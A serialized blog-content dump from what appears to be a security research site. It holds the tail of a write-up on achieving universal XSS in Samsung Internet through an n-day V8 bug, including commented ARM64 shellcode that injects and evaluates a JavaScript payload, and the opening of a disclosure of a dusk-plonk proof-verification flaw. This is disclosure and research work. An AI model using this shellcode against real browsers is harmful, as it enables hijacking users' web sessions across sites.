x9\n",[141696],{"type":21,"tag":66,"props":141697,"children":141698},{"__ignoreMap":7},[141699,141707,141715,141723,141731,141739,141747,141755,141763,141771,141779,141787,141795,141802,141810,141818,141826,141834,141841,141849,141856,141864,141872,141879,141886,141893,141900,141907,141914,141922,141930,141937,141945,141953,141960,141968,141976,141983,141990,141998,142006,142014,142021,142029,142037,142045,142053,142061,142069,142077,142085,142093,142101,142109,142116,142124,142132,142139,142147,142155,142163,142171,142178,142186,142193,142200,142208,142216,142224,142232,142241,142250,142258],{"type":21,"tag":85,"props":141700,"children":141701},{"class":87,"line":88},[141702],{"type":21,"tag":85,"props":141703,"children":141704},{},[141705],{"type":26,"value":141706},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":21,"tag":85,"props":141708,"children":141709},{"class":87,"line":98},[141710],{"type":21,"tag":85,"props":141711,"children":141712},{},[141713],{"type":26,"value":141714},"movz x1, #0xf7a0\n",{"type":21,"tag":85,"props":141716,"children":141717},{"class":87,"line":151},[141718],{"type":21,"tag":85,"props":141719,"children":141720},{},[141721],{"type":26,"value":141722},"movk x1, #0x0071, lsl #16\n",{"type":21,"tag":85,"props":141724,"children":141725},{"class":87,"line":160},[141726],{"type":21,"tag":85,"props":141727,"children":141728},{},[141729],{"type":26,"value":141730},"add x9, x12, x1\n",{"type":21,"tag":85,"props":141732,"children":141733},{"class":87,"line":185},[141734],{"type":21,"tag":85,"props":141735,"children":141736},{},[141737],{"type":26,"value":141738},"movz x1, #0x5ac8\n",{"type":21,"tag":85,"props":141740,"children":141741},{"class":87,"line":501},[141742],{"type":21,"tag":85,"props":141743,"children":141744},{},[141745],{"type":26,"value":141746},"movk x1, #0x054f, lsl #16\n",{"type":21,"tag":85,"props":141748,"children":141749},{"class":87,"line":697},[141750],{"type":21,"tag":85,"props":141751,"children":141752},{},[141753],{"type":26,"value":141754},"add x0, x12, x1\n",{"type":21,"tag":85,"props":141756,"children":141757},{"class":87,"line":706},[141758],{"type":21,"tag":85,"props":141759,"children":141760},{},[141761],{"type":26,"value":141762},"blr x9\n",{"type":21,"tag":85,"props":141764,"children":141765},{"class":87,"line":1100},[141766],{"type":21,"tag":85,"props":141767,"children":141768},{},[141769],{"type":26,"value":141770},"// *x0 is isolate pointer\n",{"type":21,"tag":85,"props":141772,"children":141773},{"class":87,"line":1339},[141774],{"type":21,"tag":85,"props":141775,"children":141776},{},[141777],{"type":26,"value":141778},"// store isolate ptr to stack\n",{"type":21,"tag":85,"props":141780,"children":141781},{"class":87,"line":1348},[141782],{"type":21,"tag":85,"props":141783,"children":141784},{},[141785],{"type":26,"value":141786},"ldr x13, [x0]\n",{"type":21,"tag":85,"props":141788,"children":141789},{"class":87,"line":1386},[141790],{"type":21,"tag":85,"props":141791,"children":141792},{},[141793],{"type":26,"value":141794},"str x13, [sp, #-16]!\n",{"type":21,"tag":85,"props":141796,"children":141797},{"class":87,"line":1394},[141798],{"type":21,"tag":85,"props":141799,"children":141800},{"emptyLinePlaceholder":16},[141801],{"type":26,"value":703},{"type":21,"tag":85,"props":141803,"children":141804},{"class":87,"line":1402},[141805],{"type":21,"tag":85,"props":141806,"children":141807},{},[141808],{"type":26,"value":141809},"// store x10 = v8::String::NewFromUTF8\n",{"type":21,"tag":85,"props":141811,"children":141812},{"class":87,"line":3145},[141813],{"type":21,"tag":85,"props":141814,"children":141815},{},[141816],{"type":26,"value":141817},"movz x1, #0x1140\n",{"type":21,"tag":85,"props":141819,"children":141820},{"class":87,"line":3246},[141821],{"type":21,"tag":85,"props":141822,"children":141823},{},[141824],{"type":26,"value":141825},"movk x1, #0x0242, lsl #16\n",{"type":21,"tag":85,"props":141827,"children":141828},{"class":87,"line":3255},[141829],{"type":21,"tag":85,"props":141830,"children":141831},{},[141832],{"type":26,"value":141833},"sub x10, x12, x1\n",{"type":21,"tag":85,"props":141835,"children":141836},{"class":87,"line":3286},[141837],{"type":21,"tag":85,"props":141838,"children":141839},{"emptyLinePlaceholder":16},[141840],{"type":26,"value":703},{"type":21,"tag":85,"props":141842,"children":141843},{"class":87,"line":3295},[141844],{"type":21,"tag":85,"props":141845,"children":141846},{},[141847],{"type":26,"value":141848},"// mmap a RW page for our xss payload\n",{"type":21,"tag":85,"props":141850,"children":141851},{"class":87,"line":3308},[141852],{"type":21,"tag":85,"props":141853,"children":141854},{},[141855],{"type":26,"value":140199},{"type":21,"tag":85,"props":141857,"children":141858},{"class":87,"line":3333},[141859],{"type":21,"tag":85,"props":141860,"children":141861},{},[141862],{"type":26,"value":141863},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":21,"tag":85,"props":141865,"children":141866},{"class":87,"line":3369},[141867],{"type":21,"tag":85,"props":141868,"children":141869},{},[141870],{"type":26,"value":141871},"mov x2, #3\n",{"type":21,"tag":85,"props":141873,"children":141874},{"class":87,"line":3377},[141875],{"type":21,"tag":85,"props":141876,"children":141877},{},[141878],{"type":26,"value":140222},{"type":21,"tag":85,"props":141880,"children":141881},{"class":87,"line":3386},[141882],{"type":21,"tag":85,"props":141883,"children":141884},{},[141885],{"type":26,"value":140230},{"type":21,"tag":85,"props":141887,"children":141888},{"class":87,"line":3394},[141889],{"type":21,"tag":85,"props":141890,"children":141891},{},[141892],{"type":26,"value":140238},{"type":21,"tag":85,"props":141894,"children":141895},{"class":87,"line":3410},[141896],{"type":21,"tag":85,"props":141897,"children":141898},{},[141899],{"type":26,"value":140246},{"type":21,"tag":85,"props":141901,"children":141902},{"class":87,"line":3427},[141903],{"type":21,"tag":85,"props":141904,"children":141905},{},[141906],{"type":26,"value":140161},{"type":21,"tag":85,"props":141908,"children":141909},{"class":87,"line":3445},[141910],{"type":21,"tag":85,"props":141911,"children":141912},{"emptyLinePlaceholder":16},[141913],{"type":26,"value":703},{"type":21,"tag":85,"props":141915,"children":141916},{"class":87,"line":3490},[141917],{"type":21,"tag":85,"props":141918,"children":141919},{},[141920],{"type":26,"value":141921},"// write our xss payload to mmapped rw page\n",{"type":21,"tag":85,"props":141923,"children":141924},{"class":87,"line":3596},[141925],{"type":21,"tag":85,"props":141926,"children":141927},{},[141928],{"type":26,"value":141929},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":21,"tag":85,"props":141931,"children":141932},{"class":87,"line":23938},[141933],{"type":21,"tag":85,"props":141934,"children":141935},{"emptyLinePlaceholder":16},[141936],{"type":26,"value":703},{"type":21,"tag":85,"props":141938,"children":141939},{"class":87,"line":23973},[141940],{"type":21,"tag":85,"props":141941,"children":141942},{},[141943],{"type":26,"value":141944},"// store x11 = XSS_PAYLOAD string\n",{"type":21,"tag":85,"props":141946,"children":141947},{"class":87,"line":23981},[141948],{"type":21,"tag":85,"props":141949,"children":141950},{},[141951],{"type":26,"value":141952},"mov x11, x0\n",{"type":21,"tag":85,"props":141954,"children":141955},{"class":87,"line":23989},[141956],{"type":21,"tag":85,"props":141957,"children":141958},{"emptyLinePlaceholder":16},[141959],{"type":26,"value":703},{"type":21,"tag":85,"props":141961,"children":141962},{"class":87,"line":23998},[141963],{"type":21,"tag":85,"props":141964,"children":141965},{},[141966],{"type":26,"value":141967},"// pop back isolate pointer\n",{"type":21,"tag":85,"props":141969,"children":141970},{"class":87,"line":24040},[141971],{"type":21,"tag":85,"props":141972,"children":141973},{},[141974],{"type":26,"value":141975},"ldr x13, [sp], #16\n",{"type":21,"tag":85,"props":141977,"children":141978},{"class":87,"line":24073},[141979],{"type":21,"tag":85,"props":141980,"children":141981},{"emptyLinePlaceholder":16},[141982],{"type":26,"value":703},{"type":21,"tag":85,"props":141984,"children":141985},{"class":87,"line":24081},[141986],{"type":21,"tag":85,"props":141987,"children":141988},{},[141989],{"type":26,"value":140282},{"type":21,"tag":85,"props":141991,"children":141992},{"class":87,"line":24089},[141993],{"type":21,"tag":85,"props":141994,"children":141995},{},[141996],{"type":26,"value":141997},"// x13 = isolate *\n",{"type":21,"tag":85,"props":141999,"children":142000},{"class":87,"line":24098},[142001],{"type":21,"tag":85,"props":142002,"children":142003},{},[142004],{"type":26,"value":142005},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":21,"tag":85,"props":142007,"children":142008},{"class":87,"line":24174},[142009],{"type":21,"tag":85,"props":142010,"children":142011},{},[142012],{"type":26,"value":142013},"// x10 = v8::String::NewFromUtf8\n",{"type":21,"tag":85,"props":142015,"children":142016},{"class":87,"line":24207},[142017],{"type":21,"tag":85,"props":142018,"children":142019},{"emptyLinePlaceholder":16},[142020],{"type":26,"value":703},{"type":21,"tag":85,"props":142022,"children":142023},{"class":87,"line":24215},[142024],{"type":21,"tag":85,"props":142025,"children":142026},{},[142027],{"type":26,"value":142028},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":21,"tag":85,"props":142030,"children":142031},{"class":87,"line":24223},[142032],{"type":21,"tag":85,"props":142033,"children":142034},{},[142035],{"type":26,"value":142036},"// arg0 = isolate *\n",{"type":21,"tag":85,"props":142038,"children":142039},{"class":87,"line":24260},[142040],{"type":21,"tag":85,"props":142041,"children":142042},{},[142043],{"type":26,"value":142044},"mov x0, x13\n",{"type":21,"tag":85,"props":142046,"children":142047},{"class":87,"line":24273},[142048],{"type":21,"tag":85,"props":142049,"children":142050},{},[142051],{"type":26,"value":142052},"// arg1 = char *c_str\n",{"type":21,"tag":85,"props":142054,"children":142055},{"class":87,"line":24286},[142056],{"type":21,"tag":85,"props":142057,"children":142058},{},[142059],{"type":26,"value":142060},"mov x1, x11\n",{"type":21,"tag":85,"props":142062,"children":142063},{"class":87,"line":24299},[142064],{"type":21,"tag":85,"props":142065,"children":142066},{},[142067],{"type":26,"value":142068},"// arg2 = type = kNormal\n",{"type":21,"tag":85,"props":142070,"children":142071},{"class":87,"line":24353},[142072],{"type":21,"tag":85,"props":142073,"children":142074},{},[142075],{"type":26,"value":142076},"mov x2, #0\n",{"type":21,"tag":85,"props":142078,"children":142079},{"class":87,"line":24362},[142080],{"type":21,"tag":85,"props":142081,"children":142082},{},[142083],{"type":26,"value":142084},"// arg4 = length\n",{"type":21,"tag":85,"props":142086,"children":142087},{"class":87,"line":32726},[142088],{"type":21,"tag":85,"props":142089,"children":142090},{},[142091],{"type":26,"value":142092},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":21,"tag":85,"props":142094,"children":142095},{"class":87,"line":32747},[142096],{"type":21,"tag":85,"props":142097,"children":142098},{},[142099],{"type":26,"value":142100},"// call NewFromUTF8\n",{"type":21,"tag":85,"props":142102,"children":142103},{"class":87,"line":81413},[142104],{"type":21,"tag":85,"props":142105,"children":142106},{},[142107],{"type":26,"value":142108},"blr x10\n",{"type":21,"tag":85,"props":142110,"children":142111},{"class":87,"line":81426},[142112],{"type":21,"tag":85,"props":142113,"children":142114},{"emptyLinePlaceholder":16},[142115],{"type":26,"value":703},{"type":21,"tag":85,"props":142117,"children":142118},{"class":87,"line":81434},[142119],{"type":21,"tag":85,"props":142120,"children":142121},{},[142122],{"type":26,"value":142123},"// store x14 = String XSS_PAYLOAD\n",{"type":21,"tag":85,"props":142125,"children":142126},{"class":87,"line":81442},[142127],{"type":21,"tag":85,"props":142128,"children":142129},{},[142130],{"type":26,"value":142131},"mov x14, x0\n",{"type":21,"tag":85,"props":142133,"children":142134},{"class":87,"line":81450},[142135],{"type":21,"tag":85,"props":142136,"children":142137},{"emptyLinePlaceholder":16},[142138],{"type":26,"value":703},{"type":21,"tag":85,"props":142140,"children":142141},{"class":87,"line":81490},[142142],{"type":21,"tag":85,"props":142143,"children":142144},{},[142145],{"type":26,"value":142146},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":85,"props":142148,"children":142149},{"class":87,"line":81498},[142150],{"type":21,"tag":85,"props":142151,"children":142152},{},[142153],{"type":26,"value":142154},"movz x1, #0xe44c\n",{"type":21,"tag":85,"props":142156,"children":142157},{"class":87,"line":88685},[142158],{"type":21,"tag":85,"props":142159,"children":142160},{},[142161],{"type":26,"value":142162},"movk x1, #0x014e, lsl #16\n",{"type":21,"tag":85,"props":142164,"children":142165},{"class":87,"line":88693},[142166],{"type":21,"tag":85,"props":142167,"children":142168},{},[142169],{"type":26,"value":142170},"sub x9, x12, x1\n",{"type":21,"tag":85,"props":142172,"children":142173},{"class":87,"line":102039},[142174],{"type":21,"tag":85,"props":142175,"children":142176},{"emptyLinePlaceholder":16},[142177],{"type":26,"value":703},{"type":21,"tag":85,"props":142179,"children":142180},{"class":87,"line":102047},[142181],{"type":21,"tag":85,"props":142182,"children":142183},{},[142184],{"type":26,"value":142185},"// call v8::internal::DebugEvaluate::Global\n",{"type":21,"tag":85,"props":142187,"children":142188},{"class":87,"line":102055},[142189],{"type":21,"tag":85,"props":142190,"children":142191},{},[142192],{"type":26,"value":142036},{"type":21,"tag":85,"props":142194,"children":142195},{"class":87,"line":102063},[142196],{"type":21,"tag":85,"props":142197,"children":142198},{},[142199],{"type":26,"value":142044},{"type":21,"tag":85,"props":142201,"children":142202},{"class":87,"line":102091},[142203],{"type":21,"tag":85,"props":142204,"children":142205},{},[142206],{"type":26,"value":142207},"// arg1 = String *source\n",{"type":21,"tag":85,"props":142209,"children":142210},{"class":87,"line":104862},[142211],{"type":21,"tag":85,"props":142212,"children":142213},{},[142214],{"type":26,"value":142215},"mov x1, x14\n",{"type":21,"tag":85,"props":142217,"children":142218},{"class":87,"line":104870},[142219],{"type":21,"tag":85,"props":142220,"children":142221},{},[142222],{"type":26,"value":142223},"// arg2 = mode = kDefault\n",{"type":21,"tag":85,"props":142225,"children":142227},{"class":87,"line":142226},69,[142228],{"type":21,"tag":85,"props":142229,"children":142230},{},[142231],{"type":26,"value":142076},{"type":21,"tag":85,"props":142233,"children":142235},{"class":87,"line":142234},70,[142236],{"type":21,"tag":85,"props":142237,"children":142238},{},[142239],{"type":26,"value":142240},"// arg3 = repl_mode = kYes\n",{"type":21,"tag":85,"props":142242,"children":142244},{"class":87,"line":142243},71,[142245],{"type":21,"tag":85,"props":142246,"children":142247},{},[142248],{"type":26,"value":142249},"mov x3, #0\n",{"type":21,"tag":85,"props":142251,"children":142253},{"class":87,"line":142252},72,[142254],{"type":21,"tag":85,"props":142255,"children":142256},{"emptyLinePlaceholder":16},[142257],{"type":26,"value":703},{"type":21,"tag":85,"props":142259,"children":142261},{"class":87,"line":142260},73,[142262],{"type":21,"tag":85,"props":142263,"children":142264},{},[142265],{"type":26,"value":141762},{"type":21,"tag":10022,"props":142267,"children":142269},{"id":142268},"uxss-demo",[142270],{"type":26,"value":142271},"UXSS Demo",{"type":21,"tag":22,"props":142273,"children":142274},{},[142275,142277,142283],{"type":26,"value":142276},"Below is a demo that executes the following UXSS payload: ",{"type":21,"tag":66,"props":142278,"children":142280},{"className":142279},[],[142281],{"type":26,"value":142282},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":26,"value":73},{"type":21,"tag":132320,"props":142285,"children":142288},{"className":142286,"controls":16},[142287],"blog-video-responsive",[142289,142291,142295],{"type":26,"value":142290},"\n  ",{"type":21,"tag":141526,"props":142292,"children":142294},{"src":142293,"type":132318},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":26,"value":142296},"\n  Your browser does not support the video tag.\n",{"type":21,"tag":54,"props":142298,"children":142299},{"id":29375},[142300],{"type":26,"value":19373},{"type":21,"tag":22,"props":142302,"children":142303},{},[142304],{"type":26,"value":142305},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":21,"tag":22,"props":142307,"children":142308},{},[142309],{"type":26,"value":142310},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":21,"tag":3632,"props":142312,"children":142313},{},[142314],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":142316},[142317,142321,142324,142334],{"id":29458,"depth":98,"text":29461,"children":142318},[142319,142320],{"id":132454,"depth":151,"text":132457},{"id":132537,"depth":151,"text":132540},{"id":132570,"depth":98,"text":132573,"children":142322},[142323],{"id":132711,"depth":151,"text":132565},{"id":132855,"depth":98,"text":132858,"children":142325},[142326,142327,142328,142329,142330,142331,142332,142333],{"id":132861,"depth":151,"text":132864},{"id":133318,"depth":151,"text":133321},{"id":133501,"depth":151,"text":133504},{"id":133612,"depth":151,"text":133615},{"id":133889,"depth":151,"text":133892},{"id":136599,"depth":151,"text":136602},{"id":139880,"depth":151,"text":139883},{"id":142268,"depth":151,"text":142271},{"id":29375,"depth":98,"text":19373},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":142339,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":142340,"description":142341,"date":142342,"author":142343,"image":142344,"isFeatured":16,"onBlogPage":16,"tags":142346,"body":142349,"_type":3642,"_id":147613,"_source":3644,"_file":147614,"_stem":147615,"_extension":3647},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[108300,108301],{"src":142345,"width":97730,"height":14041},"/posts/dusk-commitment-issues/title.png",[142347,142348],"dusk","plonk",{"type":18,"children":142350,"toc":147593},[142351,142357,142398,142410,142416,142430,142435,142441,142732,142736,143008,143238,143244,143929,143933,144428,144436,144442,144461,144466,144472,144697,144736,144747,144753,144764,145472,145477,145480,145486,145539,145574,145606,145611,145615,145618,145624,145635,145648,145679,145746,145754,145776,145789,146216,146239,146244,146247,146252,146279,146375,146386,146433,146471,146482,146820,146837,146845,146848,146854,146859,146893,146901,146982,146985,146991,147005,147023,147028,147068,147076,147097,147100,147106,147111,147176,147190,147193,147199,147239,147250,147255,147260,147266,147280,147361,147382,147409,147412,147418,147432,147437,147442,147447,147582,147588],{"type":21,"tag":35820,"props":142352,"children":142354},{"id":142353},"commitment-issues-unverified-evaluations-in-dusks-plonk",[142355],{"type":26,"value":142356},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":21,"tag":22,"props":142358,"children":142359},{},[142360,142362,142369,142371,142378,142380,142387,142389,142396],{"type":26,"value":142361},"We found a critical soundness vulnerability in ",{"type":21,"tag":335,"props":142363,"children":142366},{"href":142364,"rel":142365},"https://github.com/dusk-network/plonk/",[339],[142367],{"type":26,"value":142368},"dusk-plonk",{"type":26,"value":142370},", the PLONK implementation powering ",{"type":21,"tag":335,"props":142372,"children":142375},{"href":142373,"rel":142374},"https://dusk.network/",[339],[142376],{"type":26,"value":142377},"Dusk Network's",{"type":26,"value":142379}," ~$60M ",{"type":21,"tag":335,"props":142381,"children":142384},{"href":142382,"rel":142383},"https://www.coingecko.com/en/coins/dusk",[339],[142385],{"type":26,"value":142386},"market cap",{"type":26,"value":142388},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":21,"tag":335,"props":142390,"children":142393},{"href":142391,"rel":142392},"https://github.com/dusk-network/rusk",[339],[142394],{"type":26,"value":142395},"Rusk",{"type":26,"value":142397}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":21,"tag":22,"props":142399,"children":142400},{},[142401,142403,142408],{"type":26,"value":142402},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":21,"tag":873,"props":142404,"children":142405},{},[142406],{"type":26,"value":142407},"without ever validating them against the trusted commitments in the verifier key.",{"type":26,"value":142409}," The prover can set them to whatever values make the equation pass.",{"type":21,"tag":54,"props":142411,"children":142413},{"id":142412},"how-plonk-works-briefly",[142414],{"type":26,"value":142415},"How PLONK works (briefly)",{"type":21,"tag":22,"props":142417,"children":142418},{},[142419,142421,142428],{"type":26,"value":142420},"For a rigorous treatment see the ",{"type":21,"tag":335,"props":142422,"children":142425},{"href":142423,"rel":142424},"https://eprint.iacr.org/2019/953",[339],[142426],{"type":26,"value":142427},"original paper",{"type":26,"value":142429},"; what follows covers only the parts needed to understand the bug.",{"type":21,"tag":22,"props":142431,"children":142432},{},[142433],{"type":26,"value":142434},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":21,"tag":10022,"props":142436,"children":142438},{"id":142437},"arithmetic-circuits-and-constraints",[142439],{"type":26,"value":142440},"Arithmetic circuits and constraints",{"type":21,"tag":22,"props":142442,"children":142443},{},[142444,142446,142495,142497,142646,142648,142731],{"type":26,"value":142445},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":21,"tag":66,"props":142447,"children":142449},{"className":142448},[4748,4749],[142450],{"type":21,"tag":85,"props":142451,"children":142453},{"className":142452},[4754],[142454],{"type":21,"tag":85,"props":142455,"children":142457},{"className":142456,"ariaHidden":4760},[4759],[142458],{"type":21,"tag":85,"props":142459,"children":142461},{"className":142460},[4765],[142462,142466,142471,142476,142481,142485,142490],{"type":21,"tag":85,"props":142463,"children":142465},{"className":142464,"style":4878},[4770],[],{"type":21,"tag":85,"props":142467,"children":142469},{"className":142468},[22145],[142470],{"type":26,"value":1439},{"type":21,"tag":85,"props":142472,"children":142474},{"className":142473},[4776,22016],[142475],{"type":26,"value":19702},{"type":21,"tag":85,"props":142477,"children":142479},{"className":142478},[4889],[142480],{"type":26,"value":4892},{"type":21,"tag":85,"props":142482,"children":142484},{"className":142483,"style":4896},[4857],[],{"type":21,"tag":85,"props":142486,"children":142488},{"className":142487,"style":93995},[4776,22016],[142489],{"type":26,"value":3886},{"type":21,"tag":85,"props":142491,"children":142493},{"className":142492},[22167],[142494],{"type":26,"value":1900},{"type":26,"value":142496}," on an elliptic curve, by e.g proving that ",{"type":21,"tag":66,"props":142498,"children":142500},{"className":142499},[4748,4749],[142501],{"type":21,"tag":85,"props":142502,"children":142504},{"className":142503},[4754],[142505],{"type":21,"tag":85,"props":142506,"children":142508},{"className":142507,"ariaHidden":4760},[4759],[142509,142571,142633],{"type":21,"tag":85,"props":142510,"children":142512},{"className":142511},[4765],[142513,142517,142558,142562,142567],{"type":21,"tag":85,"props":142514,"children":142516},{"className":142515,"style":123846},[4770],[],{"type":21,"tag":85,"props":142518,"children":142520},{"className":142519},[4776],[142521,142526],{"type":21,"tag":85,"props":142522,"children":142524},{"className":142523,"style":93995},[4776,22016],[142525],{"type":26,"value":3886},{"type":21,"tag":85,"props":142527,"children":142529},{"className":142528},[4793],[142530],{"type":21,"tag":85,"props":142531,"children":142533},{"className":142532},[4798],[142534],{"type":21,"tag":85,"props":142535,"children":142537},{"className":142536},[4803],[142538],{"type":21,"tag":85,"props":142539,"children":142541},{"className":142540,"style":4771},[4808],[142542],{"type":21,"tag":85,"props":142543,"children":142544},{"style":4812},[142545,142549],{"type":21,"tag":85,"props":142546,"children":142548},{"className":142547,"style":4818},[4817],[],{"type":21,"tag":85,"props":142550,"children":142552},{"className":142551},[4823,4824,4825,4826],[142553],{"type":21,"tag":85,"props":142554,"children":142556},{"className":142555},[4776,4826],[142557],{"type":26,"value":3895},{"type":21,"tag":85,"props":142559,"children":142561},{"className":142560,"style":4955},[4857],[],{"type":21,"tag":85,"props":142563,"children":142565},{"className":142564},[4960],[142566],{"type":26,"value":741},{"type":21,"tag":85,"props":142568,"children":142570},{"className":142569,"style":4955},[4857],[],{"type":21,"tag":85,"props":142572,"children":142574},{"className":142573},[4765],[142575,142579,142620,142624,142629],{"type":21,"tag":85,"props":142576,"children":142578},{"className":142577,"style":123721},[4770],[],{"type":21,"tag":85,"props":142580,"children":142582},{"className":142581},[4776],[142583,142588],{"type":21,"tag":85,"props":142584,"children":142586},{"className":142585},[4776,22016],[142587],{"type":26,"value":19702},{"type":21,"tag":85,"props":142589,"children":142591},{"className":142590},[4793],[142592],{"type":21,"tag":85,"props":142593,"children":142595},{"className":142594},[4798],[142596],{"type":21,"tag":85,"props":142597,"children":142599},{"className":142598},[4803],[142600],{"type":21,"tag":85,"props":142601,"children":142603},{"className":142602,"style":4771},[4808],[142604],{"type":21,"tag":85,"props":142605,"children":142606},{"style":4812},[142607,142611],{"type":21,"tag":85,"props":142608,"children":142610},{"className":142609,"style":4818},[4817],[],{"type":21,"tag":85,"props":142612,"children":142614},{"className":142613},[4823,4824,4825,4826],[142615],{"type":21,"tag":85,"props":142616,"children":142618},{"className":142617},[4776,4826],[142619],{"type":26,"value":17718},{"type":21,"tag":85,"props":142621,"children":142623},{"className":142622,"style":4858},[4857],[],{"type":21,"tag":85,"props":142625,"children":142627},{"className":142626},[4863],[142628],{"type":26,"value":5151},{"type":21,"tag":85,"props":142630,"children":142632},{"className":142631,"style":4858},[4857],[],{"type":21,"tag":85,"props":142634,"children":142636},{"className":142635},[4765],[142637,142641],{"type":21,"tag":85,"props":142638,"children":142640},{"className":142639,"style":94540},[4770],[],{"type":21,"tag":85,"props":142642,"children":142644},{"className":142643},[4776],[142645],{"type":26,"value":55127},{"type":26,"value":142647},", here in ",{"type":21,"tag":66,"props":142649,"children":142651},{"className":142650},[4748,4749],[142652],{"type":21,"tag":85,"props":142653,"children":142655},{"className":142654},[4754],[142656],{"type":21,"tag":85,"props":142657,"children":142659},{"className":142658,"ariaHidden":4760},[4759],[142660],{"type":21,"tag":85,"props":142661,"children":142663},{"className":142662},[4765],[142664,142669],{"type":21,"tag":85,"props":142665,"children":142668},{"className":142666,"style":142667},[4770],"height:0.8389em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":142670,"children":142672},{"className":142671},[4776],[142673,142678],{"type":21,"tag":85,"props":142674,"children":142676},{"className":142675},[4776,122284],[142677],{"type":26,"value":122287},{"type":21,"tag":85,"props":142679,"children":142681},{"className":142680},[4793],[142682],{"type":21,"tag":85,"props":142683,"children":142685},{"className":142684},[4798,22070],[142686,142720],{"type":21,"tag":85,"props":142687,"children":142689},{"className":142688},[4803],[142690,142715],{"type":21,"tag":85,"props":142691,"children":142693},{"className":142692,"style":93561},[4808],[142694],{"type":21,"tag":85,"props":142695,"children":142696},{"style":93565},[142697,142701],{"type":21,"tag":85,"props":142698,"children":142700},{"className":142699,"style":4818},[4817],[],{"type":21,"tag":85,"props":142702,"children":142704},{"className":142703},[4823,4824,4825,4826],[142705],{"type":21,"tag":85,"props":142706,"children":142708},{"className":142707},[4776,4826],[142709],{"type":21,"tag":85,"props":142710,"children":142712},{"className":142711},[4776,4826],[142713],{"type":26,"value":142714},"37",{"type":21,"tag":85,"props":142716,"children":142718},{"className":142717},[22173],[142719],{"type":26,"value":22176},{"type":21,"tag":85,"props":142721,"children":142723},{"className":142722},[4803],[142724],{"type":21,"tag":85,"props":142725,"children":142727},{"className":142726,"style":93592},[4808],[142728],{"type":21,"tag":85,"props":142729,"children":142730},{},[],{"type":26,"value":73},{"type":21,"tag":142733,"props":142734,"children":142735},"arithmetic-circuit-widget",{},[],{"type":21,"tag":22,"props":142737,"children":142738},{},[142739,142741,142767,142769,142848,142850,142927,142929,143006],{"type":26,"value":142740},"Each gate ",{"type":21,"tag":66,"props":142742,"children":142744},{"className":142743},[4748,4749],[142745],{"type":21,"tag":85,"props":142746,"children":142748},{"className":142747},[4754],[142749],{"type":21,"tag":85,"props":142750,"children":142752},{"className":142751,"ariaHidden":4760},[4759],[142753],{"type":21,"tag":85,"props":142754,"children":142756},{"className":142755},[4765],[142757,142762],{"type":21,"tag":85,"props":142758,"children":142761},{"className":142759,"style":142760},[4770],"height:0.6595em;",[],{"type":21,"tag":85,"props":142763,"children":142765},{"className":142764},[4776,22016],[142766],{"type":26,"value":3003},{"type":26,"value":142768}," has a left input ",{"type":21,"tag":66,"props":142770,"children":142772},{"className":142771},[4748,4749],[142773],{"type":21,"tag":85,"props":142774,"children":142776},{"className":142775},[4754],[142777],{"type":21,"tag":85,"props":142778,"children":142780},{"className":142779,"ariaHidden":4760},[4759],[142781],{"type":21,"tag":85,"props":142782,"children":142784},{"className":142783},[4765],[142785,142790],{"type":21,"tag":85,"props":142786,"children":142789},{"className":142787,"style":142788},[4770],"height:0.8444em;vertical-align:-0.15em;",[],{"type":21,"tag":85,"props":142791,"children":142793},{"className":142792},[4776],[142794,142799],{"type":21,"tag":85,"props":142795,"children":142797},{"className":142796,"style":93521},[4776,22016],[142798],{"type":26,"value":93524},{"type":21,"tag":85,"props":142800,"children":142802},{"className":142801},[4793],[142803],{"type":21,"tag":85,"props":142804,"children":142806},{"className":142805},[4798,22070],[142807,142837],{"type":21,"tag":85,"props":142808,"children":142810},{"className":142809},[4803],[142811,142832],{"type":21,"tag":85,"props":142812,"children":142814},{"className":142813,"style":94038},[4808],[142815],{"type":21,"tag":85,"props":142816,"children":142818},{"style":142817},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[142819,142823],{"type":21,"tag":85,"props":142820,"children":142822},{"className":142821,"style":4818},[4817],[],{"type":21,"tag":85,"props":142824,"children":142826},{"className":142825},[4823,4824,4825,4826],[142827],{"type":21,"tag":85,"props":142828,"children":142830},{"className":142829},[4776,22016,4826],[142831],{"type":26,"value":3003},{"type":21,"tag":85,"props":142833,"children":142835},{"className":142834},[22173],[142836],{"type":26,"value":22176},{"type":21,"tag":85,"props":142838,"children":142840},{"className":142839},[4803],[142841],{"type":21,"tag":85,"props":142842,"children":142844},{"className":142843,"s